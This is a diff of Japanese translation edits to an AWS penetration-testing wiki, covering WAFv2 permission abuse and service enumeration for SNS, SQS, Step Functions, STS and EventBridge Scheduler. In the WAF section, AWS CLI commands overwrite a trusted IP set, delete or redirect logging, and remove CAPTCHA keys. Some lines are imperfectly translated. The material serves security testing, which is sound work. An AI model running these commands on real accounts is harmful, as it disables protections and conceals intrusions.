ec2:AssociateVerifiedAccessInstanceWebAcl - elasticloadbalancing:SetWebAcl -- **関連解除** +- **切り離し** - apigateway:SetWebACL - apprunner:DisassociateWebAcl - appsync:SetWebACL @@ -357,11 +357,11 @@ aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` -**潜在的な影響**: リソースのセキュリティが侵害され、悪用のリスクが増加し、AWS WAFによって保護されたAWS環境内でのサービスの中断の可能性。 +**潜在的影響**: リソースのセキュリティが侵害され、悪用のリスクが増加し、AWS WAFによって保護されたAWS環境内でのサービスの中断の可能性があります。 #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -攻撃者はAWS WAFによって管理されるIPセットを作成、更新、削除することができる。これは危険であり、悪意のあるトラフィックを許可するために新しいIPセットを作成したり、正当なトラフィックをブロックするためにIPセットを変更したり、悪意のあるIPアドレスを含めるために既存のIPセットを更新したり、信頼されたIPアドレスを削除したり、重要なリソースを保護するために意図された重要なIPセットを削除したりする可能性がある。 +攻撃者はAWS WAFによって管理されているIPセットを作成、更新、削除することができます。これは危険であり、悪意のあるトラフィックを許可するために新しいIPセットを作成したり、正当なトラフィックをブロックするためにIPセットを変更したり、悪意のあるIPアドレスを含めるために既存のIPセットを更新したり、信頼されたIPアドレスを削除したり、重要なリソースを保護するために意図された重要なIPセットを削除したりする可能性があります。 ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -370,7 +370,7 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -以下の例は、**希望するIPセットで既存のIPセットを上書きする方法**を示しています: +次の例は、**希望するIPセットで既存のIPセットを上書きする方法**を示しています: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` @@ -391,11 +391,11 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` -**潜在的な影響**: セキュリティ制御をバイパスし、悪意のあるコンテンツを許可し、機密データを露出させたり、AWS WAFによって保護されたサービスやリソースを妨害する可能性があります。 +**潜在的影響**: セキュリティ制御をバイパスし、悪意のあるコンテンツを許可し、機密データを露出させたり、AWS WAFによって保護されたサービスやリソースを中断させる可能性があります。 #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -**`wafv2:DeleteLoggingConfiguration`** の権限を持つ攻撃者は、指定されたWeb ACLからログ設定を削除することができます。その後、**`wavf2:PutLoggingConfiguration`** と **`iam:CreateServiceLinkedRole`** の権限を使用して、攻撃者はログ設定を作成または置き換えることができ(削除した後)、ログを完全に防止するか、Amazon S3バケット、Amazon CloudWatch Logsロググループ、または制御下のAmazon Kinesis Data Firehoseなどの不正な宛先にリダイレクトすることができます。 +**`wafv2:DeleteLoggingConfiguration`** の権限を持つ攻撃者は、指定されたWeb ACLからログ設定を削除することができます。その後、**`wavf2:PutLoggingConfiguration`** および **`iam:CreateServiceLinkedRole`** の権限を使用して、攻撃者はログ設定を作成または置き換えることができ(削除した後)、ログを完全に防止するか、Amazon S3バケット、Amazon CloudWatch Logsロググループ、または制御下のAmazon Kinesis Data Firehoseなどの不正な宛先にリダイレクトすることができます。 作成プロセス中、サービスは指定されたログ宛先にログが書き込まれるために必要な権限を自動的に設定します: @@ -411,27 +411,27 @@ aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` -**潜在的な影響:** セキュリティイベントの可視性が不明瞭になり、インシデントレスポンスプロセスが困難になり、AWS WAFで保護された環境内での隠れた悪意のある活動を助長する。 +**潜在的な影響:** セキュリティイベントの可視性が不明瞭になり、インシデントレスポンスプロセスが困難になり、AWS WAFで保護された環境内での秘密の悪意のある活動を助長します。 #### **`wafv2:DeleteAPIKey`** -この権限を持つ攻撃者は、既存のAPIキーを削除でき、CAPTCHAを無効にし、それに依存する機能(フォーム送信やアクセス制御など)を妨害します。このCAPTCHAの実装によっては、CAPTCHAのバイパスや、リソースでのエラーマネジメントが適切に設定されていない場合、DoSにつながる可能性があります。 +この権限を持つ攻撃者は、既存のAPIキーを削除でき、CAPTCHAが無効になり、フォーム送信やアクセス制御など、それに依存する機能が妨げられます。このCAPTCHAの実装によっては、CAPTCHAのバイパスや、リソースでエラーマネジメントが適切に設定されていない場合にはDoSにつながる可能性があります。 ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` -**潜在的な影響**: CAPTCHA保護を無効にしたり、アプリケーションの機能を妨害したりすることで、セキュリティ侵害やデータ盗難の可能性が生じます。 +**潜在的な影響**: CAPTCHA保護を無効にするか、アプリケーションの機能を妨害し、セキュリティ侵害やデータ盗難の可能性を引き起こす。 #### **`wafv2:TagResource`, `wafv2:UntagResource`** -攻撃者は、Web ACL、ルールグループ、IPセット、正規表現パターンセット、ログ設定などのAWS WAFv2リソースからタグを追加、変更、または削除することができるようになります。 +攻撃者は、Web ACL、ルールグループ、IPセット、正規表現パターンセット、ログ設定などのAWS WAFv2リソースからタグを追加、変更、または削除することができる。 ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` -**潜在的影響**: リソースの改ざん、情報漏洩、コスト操作、運用の混乱。 +**潜在的影響**: リソースの改ざん、情報漏洩、コスト操作、運用の中断。 ## 参考文献 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 10330391a..4a95ea07a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -4,13 +4,13 @@ ## 基本情報 -Amazon Simple Email Service (Amazon SES) は **メールの送受信** のために設計されています。これにより、ユーザーはトランザクション、マーケティング、または通知メールを効率的かつ安全に大規模に送信できます。これは **他のAWSサービスと良好に統合され**、あらゆる規模のビジネスのためのメールコミュニケーション管理のための堅牢なソリューションを提供します。 +Amazon Simple Email Service (Amazon SES) は、**メールの送受信**を目的としています。これにより、ユーザーはトランザクション、マーケティング、または通知メールを効率的かつ安全に大規模に送信できます。これは、**他のAWSサービスと良好に統合され**、あらゆる規模のビジネスのためのメールコミュニケーション管理に対する堅牢なソリューションを提供します。 -**アイデンティティ** を登録する必要があります。これはSESと対話できるドメインまたはメールアドレス(例:メールの送受信)です。 +SESと対話できる**アイデンティティ**(ドメインまたはメールアドレス)を登録する必要があります(例:メールの送受信)。 ### SMTPユーザー -AWSの **SMTPサーバーに接続してアクションを実行する** ことが可能です。これには、AWS APIを使用する代わりに(または追加で)ユーザーを作成し、次のようなポリシーを設定する必要があります: +AWSの**SMTPサーバーに接続してアクションを実行する**ことが可能です。これには、AWS APIを使用する代わりに(または追加で)ユーザーを作成し、次のようなポリシーを設定する必要があります。 ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index e14f5d215..4cb0dc184 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -8,13 +8,13 @@ Amazon Simple Notification Service (Amazon SNS) は **完全に管理された A2A通信の主な機能には **公開/購読 (pub/sub) メカニズム** が含まれます。これらのメカニズムは **トピック** を導入し、高スループットの **プッシュベースの多対多メッセージング** を可能にするために重要です。この機能は、分散システム、マイクロサービス、およびイベント駆動型サーバーレスアーキテクチャを含むシナリオで非常に有利です。これらのトピックを活用することで、発行システムは **広範囲の購読システム** にメッセージを効率的に配信し、ファンアウトメッセージングパターンを促進できます。 -### **SQSとの違い** +### **Difference with SQS** **SQS** は **キューに基づく** サービスであり、ポイントツーポイント通信を可能にし、メッセージが **単一の消費者** によって処理されることを保証します。これは **少なくとも1回の配信** を提供し、標準およびFIFOキューをサポートし、再試行や遅延処理のためのメッセージ保持を許可します。\ 一方、**SNS** は **公開/購読に基づくサービス** であり、メッセージを **複数の購読者** に同時にブロードキャストすることによって **1対多** の通信を可能にします。これは **メール、SMS、Lambda関数、HTTP/HTTPS** などのさまざまな購読エンドポイントをサポートし、ターゲットメッセージ配信のためのフィルタリングメカニズムを提供します。\ 両方のサービスは分散システム内のコンポーネント間のデカップリングを可能にしますが、SQSはキュー通信に焦点を当て、SNSはイベント駆動型のファンアウト通信パターンを強調しています。 -### **列挙** +### **Enumeration** ```bash # Get topics & subscriptions aws sns list-topics @@ -44,7 +44,7 @@ aws sns subscribe --region \ > [!CAUTION] > **トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます(HTTPまたはHTTPSは使用できません)。 > -> また、`--topic-arn`にリージョンが含まれていても、**`--region`**で正しいリージョンを指定することを確認してください。そうしないと、アクセス権がないことを示すエラーが表示されますが、問題はリージョンです。 +> また、`--topic-arn`にリージョンが含まれていても、**`--region`**で正しいリージョンを指定することを確認してください。そうしないと、アクセスがないことを示すようなエラーが表示されますが、問題はリージョンです。 #### 認証されていないアクセス diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 69b280be4..73ab5228e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,7 +4,7 @@ ## SQS -Amazon Simple Queue Service (SQS) は **完全管理型メッセージキューサービス** として提供されています。その主な機能は、マイクロサービス、分散システム、およびサーバーレスアプリケーションのスケーリングとデカップリングを支援することです。このサービスは、しばしば複雑でリソースを多く消費するメッセージ指向ミドルウェアの管理と運用の必要性を排除するように設計されています。この複雑さの排除により、開発者は自分の作業のより革新的で差別化された側面に努力を向けることができます。 +Amazon Simple Queue Service (SQS) は **完全に管理されたメッセージキューイングサービス** として提供されています。その主な機能は、マイクロサービス、分散システム、およびサーバーレスアプリケーションのスケーリングとデカップリングを支援することです。このサービスは、しばしば複雑でリソース集約的なメッセージ指向ミドルウェアの管理と運用の必要性を排除するように設計されています。この複雑さの排除により、開発者は自分の作業のより革新的で差別化された側面に努力を向けることができます。 ### Enumeration ```bash @@ -18,7 +18,7 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` > [!CAUTION] -> また、`--queue-url` にリージョンが含まれていても、**`--region`** で正しいリージョンを指定することを確認してください。そうしないと、アクセス権がないことを示すエラーが表示されますが、問題はリージョンです。 +> また、`--queue-url` にリージョンが含まれていても、**`--region`** で正しいリージョンを指定することを確認してください。そうしないと、アクセス権がないことを示すようなエラーが表示されますが、問題はリージョンです。 #### 認証されていないアクセス diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index ba3763bb0..1a2b7a455 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -12,8 +12,8 @@ AWS Step Functionsは、複数のAWSサービスをサーバーレスワーク AWS Step Functionsは、2種類の**状態マシンワークフロー**を提供します:StandardとExpress。 -- **Standard Workflow**:このデフォルトのワークフロータイプは、長時間実行される耐久性があり、監査可能なプロセス向けに設計されています。**exactly-once execution**をサポートし、リトライが指定されない限り、タスクは一度だけ実行されることを保証します。詳細な実行履歴が必要なワークフローに最適で、最大1年間実行できます。 -- **Express Workflow**:このタイプは、高ボリュームで短期間のタスクに最適で、最大5分間実行されます。**at-least-once execution**をサポートし、データ処理のような冪等タスクに適しています。これらのワークフローは、実行、期間、およびメモリ使用量に基づいて課金され、コストとパフォーマンスが最適化されています。 +- **Standard Workflow**:このデフォルトのワークフロータイプは、長時間実行される耐久性のある監査可能なプロセス向けに設計されています。**正確に1回の実行**をサポートし、リトライが指定されない限り、タスクは1回だけ実行されます。詳細な実行履歴が必要なワークフローに最適で、最大1年間実行できます。 +- **Express Workflow**:このタイプは、高ボリュームの短期間のタスクに最適で、最大5分間実行されます。**少なくとも1回の実行**をサポートし、データ処理のような冪等タスクに適しています。これらのワークフローは、コストとパフォーマンスの最適化が行われており、実行、期間、メモリ使用量に基づいて課金されます。 ### States @@ -25,7 +25,7 @@ Statesは状態マシンの基本単位です。ワークフロー内の個々 - **Pass:** 入力を出力に渡すか、データを注入します。 - **Wait:** 設定された時間だけ実行を遅延させます。 - **Parallel:** 並列ブランチを開始します。 -- **Map:** アイテムに対して動的にステップを反復します。 +- **Map:** アイテムに対してステップを動的に反復します。 ### Task @@ -38,7 +38,7 @@ Statesは状態マシンの基本単位です。ワークフロー内の個々 - **AWS Services**: DynamoDBやS3など、他のAWSサービスと直接統合します。 - Resource: **`arn:partition:states:region:account:servicename:APIname`**. - **HTTP Task**: サードパーティAPIを呼び出します。 -- Resource field: **`arn:aws:states:::http:invoke`**. 次に、API URL、メソッド、および認証の詳細など、APIエンドポイントの構成詳細を提供する必要があります。 +- Resource field: **`arn:aws:states:::http:invoke`**. 次に、API URL、メソッド、認証の詳細など、APIエンドポイントの構成詳細を提供する必要があります。 以下の例は、HelloWorldというLambda関数を呼び出すTask状態の定義を示しています: ```json @@ -54,10 +54,10 @@ Statesは状態マシンの基本単位です。ワークフロー内の個々 ``` ### Choice -**Choice** ステートは、ワークフローに条件付きロジックを追加し、入力データに基づいて決定を可能にします。指定された条件を評価し、結果に基づいて対応するステートに遷移します。 +A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. - **Comparison**: 各選択ルールには、入力変数を指定された値または別の変数と比較する比較演算子(例:**`NumericEquals`**、**`StringEquals`**)が含まれています。 -- **Next Field**: Choice ステートは **`End`** フィールドをサポートしていません。代わりに、比較が真である場合に遷移する **`Next`** ステートを定義します。 +- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. Example of **Choice** state: ```json @@ -74,7 +74,7 @@ Example of **Choice** state: **`Succeed`** ステートは、実行を成功裏に停止します。通常、ワークフローが成功裏に完了したときに終了するために使用されます。このステートは **`Next`** フィールドを必要としません。 {{#tabs }} -{{#tab name="失敗の例" }} +{{#tab name="Fail example" }} ```json "FailState": { "Type": "Fail", @@ -95,7 +95,7 @@ Example of **Choice** state: ### Pass -**Pass**ステートは、作業を行うことなく、またはフィルターを使用してJSONステート入力を変換することによって、その入力を出力に渡し、変換されたデータを次のステートに渡します。これは、静的データを注入したり、データを変換したりすることを可能にするため、ステートマシンのテストや構築に役立ちます。 +**Pass** ステートは、作業を行うことなく、またはフィルターを使用してJSONステート入力を変換し、その変換されたデータを次のステートに渡すことによって、入力を出力に渡します。これは、静的データを注入したり変換したりすることを可能にし、ステートマシンのテストや構築に役立ちます。 ```json "PassState": { "Type": "Pass", @@ -106,9 +106,9 @@ Example of **Choice** state: ``` ### Wait -**Wait**ステートは、指定された期間、ステートマシンの実行を遅延させます。待機時間を設定するための主な方法は3つあります。 +**Wait**ステートは、指定された期間だけステートマシンの実行を遅延させます。待機時間を設定するための主な方法は3つあります。 -- **X秒**: 待機する固定の秒数。 +- **X Seconds**: 待機する固定の秒数。 ```json "WaitState": { @@ -118,7 +118,7 @@ Example of **Choice** state: } ``` -- **絶対タイムスタンプ**: 待機する正確な時間。 +- **Absolute Timestamp**: 待機する正確な時間。 ```json "WaitState": { @@ -128,7 +128,7 @@ Example of **Choice** state: } ``` -- **動的待機**: **`SecondsPath`**または**`TimestampPath`**を使用して入力に基づく。 +- **Dynamic Wait**: **`SecondsPath`**または**`TimestampPath`**を使用して入力に基づく。 ```json jsonCopiar código @@ -143,9 +143,9 @@ jsonCopiar código **Parallel**ステートは、ワークフロー内で複数のタスクのブランチを同時に実行することを可能にします。各ブランチは独立して実行され、それぞれのステートのシーケンスを処理します。実行は、すべてのブランチが完了するまで待機し、その後次のステートに進みます。主なフィールドは次のとおりです。 -- **Branches**: 並列実行パスを定義する配列。各ブランチは別々のステートマシンです。 +- **Branches**: 並行実行パスを定義する配列。各ブランチは別々のステートマシンです。 - **ResultPath**: ブランチの結合出力をどこに(入力内で)配置するかを定義します。 -- **Retry and Catch**: 並列ステートのエラーハンドリング設定。 +- **Retry and Catch**: 並行ステートのエラーハンドリング設定。 ```json "ParallelState": { "Type": "Parallel", @@ -162,11 +162,11 @@ jsonCopiar código "Next": "NextState" } ``` -### Map +### マップ **Map** ステートは、データセット内の各アイテムに対して一連のステップを実行することを可能にします。データの並列処理に使用されます。データセットのアイテムをどのように処理したいかに応じて、Step Functions は以下のモードを提供します。 -- **Inline Mode**: 各 JSON 配列アイテムに対してステートのサブセットを実行します。40 未満の並列反復を持つ小規模なタスクに適しており、**`Map`** ステートを含むワークフローのコンテキスト内でそれぞれを実行します。 +- **インラインモード**: 各 JSON 配列アイテムに対してステートのサブセットを実行します。40 未満の並列反復を持つ小規模なタスクに適しており、**`Map`** ステートを含むワークフローのコンテキスト内でそれぞれを実行します。 ```json "MapState": { @@ -195,7 +195,7 @@ jsonCopiar código } ``` -- **Distributed Mode**: 高い同時実行性を持つ大規模な並列処理のために設計されています。Amazon S3 に保存されているような大規模データセットの処理をサポートし、最大 10,000 の並列子ワークフロー実行を高い同時実行性で実行します。これらの子は別の子実行として実行されます。 +- **分散モード**: 高い同時実行性を持つ大規模な並列処理のために設計されています。Amazon S3 に保存されているような大規模データセットの処理をサポートし、最大 10,000 の並列子ワークフロー実行を高い同時実行性で実行します。これらの子は別の子実行として実行されます。 ```json "DistributedMapState": { @@ -232,23 +232,23 @@ jsonCopiar código } ``` -### Versions and aliases +### バージョンとエイリアス -Step Functions は、**バージョン** と **エイリアス** を通じてワークフローデプロイメントを管理することもできます。バージョンは、実行可能なステートマシンのスナップショットを表します。エイリアスは、ステートマシンの最大 2 つのバージョンへのポインタとして機能します。 +Step Functions は、ステートマシンの**バージョン**と**エイリアス**を通じてワークフローデプロイメントを管理することもできます。バージョンは、実行可能なステートマシンのスナップショットを表します。エイリアスは、ステートマシンの最大 2 つのバージョンへのポインタとして機能します。 -- **Versions**: これらの不変のステートマシンのスナップショットは、そのステートマシンの最新のリビジョンから作成されます。各バージョンは、ステートマシン ARN とバージョン番号をコロンで区切って組み合わせた一意の ARN によって識別されます (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**)。バージョンは編集できませんが、ステートマシンを更新して新しいバージョンを公開するか、希望するステートマシンバージョンを使用できます。 -- **Aliases**: これらのポインタは、同じステートマシンの最大 2 つのバージョンを参照できます。単一のステートマシンに対して複数のエイリアスを作成でき、それぞれはステートマシン ARN とエイリアス名をコロンで区切って組み合わせた一意の ARN によって識別されます (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**)。エイリアスは、ステートマシンの 2 つのバージョンのいずれかの間でトラフィックをルーティングすることを可能にします。あるいは、エイリアスはステートマシンの特定のバージョンを指すことができますが、他のエイリアスには指しません。必要に応じて、異なるバージョンのステートマシンにリダイレクトするように更新でき、制御されたデプロイメントとワークフロー管理を促進します。 +- **バージョン**: これらの不変のステートマシンのスナップショットは、そのステートマシンの最新のリビジョンから作成されます。各バージョンは、ステートマシン ARN とバージョン番号をコロンで区切って組み合わせた一意の ARN によって識別されます (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**)。バージョンは編集できませんが、ステートマシンを更新して新しいバージョンを公開するか、希望するステートマシンバージョンを使用できます。 +- **エイリアス**: これらのポインタは、同じステートマシンの最大 2 つのバージョンを参照できます。単一のステートマシンに対して複数のエイリアスを作成でき、それぞれはエイリアス名をコロンで区切ってステートマシン ARN と組み合わせた一意の ARN によって識別されます (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**)。エイリアスは、ステートマシンの 2 つのバージョンのいずれかの間でトラフィックをルーティングすることを可能にします。あるいは、エイリアスはステートマシンの特定のバージョンを指すことができますが、他のエイリアスには指しません。必要に応じて、異なるバージョンのステートマシンにリダイレクトするように更新でき、制御されたデプロイメントとワークフロー管理を促進します。 **ASL** に関する詳細情報については、次を確認してください: [**Amazon States Language**](https://states-language.net/spec.html)。 -## IAM Roles for State machines +## ステートマシンのための IAM ロール -AWS Step Functions は、AWS Identity and Access Management (IAM) ロールを利用して、ステートマシン内のリソースとアクションへのアクセスを制御します。AWS Step Functions におけるセキュリティと IAM ロールに関連する重要な側面は以下の通りです。 +AWS Step Functions は、AWS Identity and Access Management (IAM) ロールを利用して、ステートマシン内のリソースとアクションへのアクセスを制御します。AWS Step Functions におけるセキュリティと IAM ロールに関連する主な側面は以下の通りです。 -- **Execution Role**: AWS Step Functions の各ステートマシンは IAM 実行ロールに関連付けられています。このロールは、ステートマシンがあなたの代わりに実行できるアクションを定義します。ステートマシンが AWS サービスと相互作用するステート間を遷移する際(Lambda 関数の呼び出し、DynamoDB へのアクセスなど)、この実行ロールを引き受けてそれらのアクションを実行します。 -- **Permissions**: IAM 実行ロールは、他の AWS サービスに対する必要なアクションを許可する権限で構成する必要があります。たとえば、ステートマシンが AWS Lambda 関数を呼び出す必要がある場合、IAM ロールには **`lambda:InvokeFunction`** 権限が必要です。同様に、DynamoDB に書き込む必要がある場合、適切な権限 (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`** など) を付与する必要があります。 +- **実行ロール**: AWS Step Functions の各ステートマシンは IAM 実行ロールに関連付けられています。このロールは、ステートマシンがあなたの代わりに実行できるアクションを定義します。ステートマシンが AWS サービスと相互作用するステート間を遷移する際(Lambda 関数の呼び出し、DynamoDB へのアクセスなど)、この実行ロールを引き受けてそれらのアクションを実行します。 +- **権限**: IAM 実行ロールは、他の AWS サービスに対する必要なアクションを許可する権限で構成する必要があります。たとえば、ステートマシンが AWS Lambda 関数を呼び出す必要がある場合、IAM ロールには **`lambda:InvokeFunction`** 権限が必要です。同様に、DynamoDB に書き込む必要がある場合、適切な権限 (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`** など) を付与する必要があります。 -## Enumeration +## 列挙 ReadOnlyAccess ポリシーは、以下のすべての列挙アクションに対して十分です。 ```bash @@ -297,7 +297,7 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` -## プライベートエスカレーション +## プライバシー昇格 次のページでは、**Step Functionsの権限を悪用して特権を昇格させる方法**を確認できます: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 06aba2068..4ad2bf191 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -10,13 +10,13 @@ STSの目的が**アイデンティティのなりすましのための資格情 ### Assume Role Impersonation -AWS STSが提供するアクション[AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html)は重要で、これはあるプリンシパルが別のプリンシパルのために資格情報を取得することを許可し、実質的にそのプリンシパルになりすますことを可能にします。呼び出すと、指定されたARNに対応するアクセスキーID、シークレットキー、およびセッショントークンが返されます。 +AWS STSが提供するアクション[AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html)は、別のプリンシパルのために資格情報を取得することを許可するため、非常に重要です。これにより、実質的にそのプリンシパルになりすますことができます。呼び出すと、指定されたARNに対応するアクセスキーID、シークレットキー、およびセッショントークンが返されます。 -ペネトレーションテスターやレッドチームのメンバーにとって、この技術は特権の昇格に不可欠です(詳細は[**こちら**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)を参照)。ただし、この技術は非常に目立つため、攻撃者を驚かせることはないかもしれません。 +ペネトレーションテスターやレッドチームのメンバーにとって、この技術は特権昇格において重要です(詳細は[**こちら**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole))。ただし、この技術は非常に目立つため、攻撃者を驚かせることはないかもしれません。 #### Assume Role Logic -同じアカウント内で役割を引き受けるためには、**引き受ける役割が特定の役割ARNを許可している場合**のように: +同じアカウント内で役割を引き受けるためには、**引き受ける役割が特定の役割ARNを許可している場合**のように: ```json { "Version": "2012-10-17", @@ -32,9 +32,9 @@ AWS STSが提供するアクション[AssumeRole](https://docs.aws.amazon.com/ST ] } ``` -この場合、役割 **`priv-role`** は、その役割を引き受けるために**特に許可される必要はありません**(その許可があれば十分です)。 +この場合、役割 **`priv-role`** は、その役割を引き受けるために特に許可される必要はありません(その許可があれば十分です)。 -ただし、役割がアカウントにそれを引き受けることを許可している場合、次のようになります: +ただし、役割がアカウントにそれを引き受けることを許可している場合、次のように: ```json { "Version": "2012-10-17", @@ -52,9 +52,9 @@ AWS STSが提供するアクション[AssumeRole](https://docs.aws.amazon.com/ST ``` その役割を引き受けようとするには、その役割に対して**特定の `sts:AssumeRole` 権限**が必要です**。** -異なるアカウントから**役割**を引き受けようとすると、**引き受けられる役割はそれを許可する必要があります**(役割の**ARN**または**外部アカウント**を示す)、そして**他の役割を引き受けようとしている役割は**それを引き受けるための権限を**持っている必要があります**(この場合、引き受けられる役割がARNを指定していてもこれはオプションではありません)。 +異なるアカウントから**役割**を引き受けようとすると、**引き受けられた役割がそれを許可する必要があります**(役割の**ARN**または**外部アカウント**を示す)、そして**他の役割を引き受けようとする役割は**それを引き受けるための権限を**持っている必要があります**(この場合、引き受けられた役割がARNを指定していてもこれはオプションではありません)。 -### Enumeration +### 列挙 ```bash # Get basic info of the creds aws sts get-caller-identity @@ -67,7 +67,7 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` -### プライベートエスカレーション +### Privesc 次のページでは、**STS権限を悪用して特権を昇格させる方法**を確認できます: @@ -75,19 +75,19 @@ aws sts get-session-token --serial-number --token-code ../aws-privilege-escalation/aws-sts-privesc.md {{#endref}} -### ポストエクスプロイテーション +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-sts-post-exploitation.md {{#endref}} -### 永続性 +### Persistence {{#ref}} ../aws-persistence/aws-sts-persistence.md {{#endref}} -## 参考文献 +## References - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index 69ddd8394..34161d620 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,7 +6,7 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** は、タスクをスケールで作成、実行、管理するために設計された完全に管理された**サーバーレススケジューラー**です。これにより、270以上のAWSサービスと6,000以上のAPI操作にわたって数百万のタスクを中央サービスからスケジュールできます。組み込みの信頼性と管理するインフラストラクチャがないため、EventBridge Schedulerはスケジューリングを簡素化し、メンテナンスコストを削減し、需要に応じて自動的にスケールします。定期的なスケジュールのためにcronまたはレート式を設定し、一度限りの呼び出しを設定し、リトライオプションを持つ柔軟な配信ウィンドウを定義することで、下流ターゲットの可用性に基づいてタスクが確実に配信されるようにします。 +**Amazon EventBridge Scheduler** は、**タスクを大規模に作成、実行、管理するために設計された完全管理型のサーバーレススケジューラー** です。これにより、270以上のAWSサービスと6,000以上のAPI操作にわたって数百万のタスクを中央サービスからスケジュールできます。組み込みの信頼性と管理するインフラストラクチャがないため、EventBridge Schedulerはスケジューリングを簡素化し、メンテナンスコストを削減し、需要に応じて自動的にスケールします。定期的なスケジュールのためにcronまたはレート式を設定し、一度限りの呼び出しを設定し、リトライオプションを持つ柔軟な配信ウィンドウを定義することで、下流ターゲットの可用性に基づいてタスクが確実に配信されるようにします。 地域ごとにアカウントあたり1,000,000のスケジュールの初期制限があります。公式のクォーターページでも「一度限りのスケジュールは完了したら削除することをお勧めします」と示唆しています。 @@ -25,9 +25,9 @@ EventBridge Schedulerのスケジュールの種類: ### Targets -スケジューラーには、一般的に使用され、AWSが設定を簡素化した[**テンプレート化された (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)ターゲットと、任意のAWS APIを呼び出すために使用できる[**ユニバーサル (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)ターゲットの2種類があります。 +スケジューラーには2種類のターゲットがあります [**テンプレート化された (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)、これは一般的に使用され、AWSが設定を簡単にしました、そして [**ユニバーサル (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)、これは任意のAWS APIを呼び出すために使用できます。 -**テンプレート化されたターゲット**は、以下のサービスをサポートしています: +**テンプレート化されたターゲット**は以下のサービスをサポートしています: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution @@ -64,15 +64,15 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn 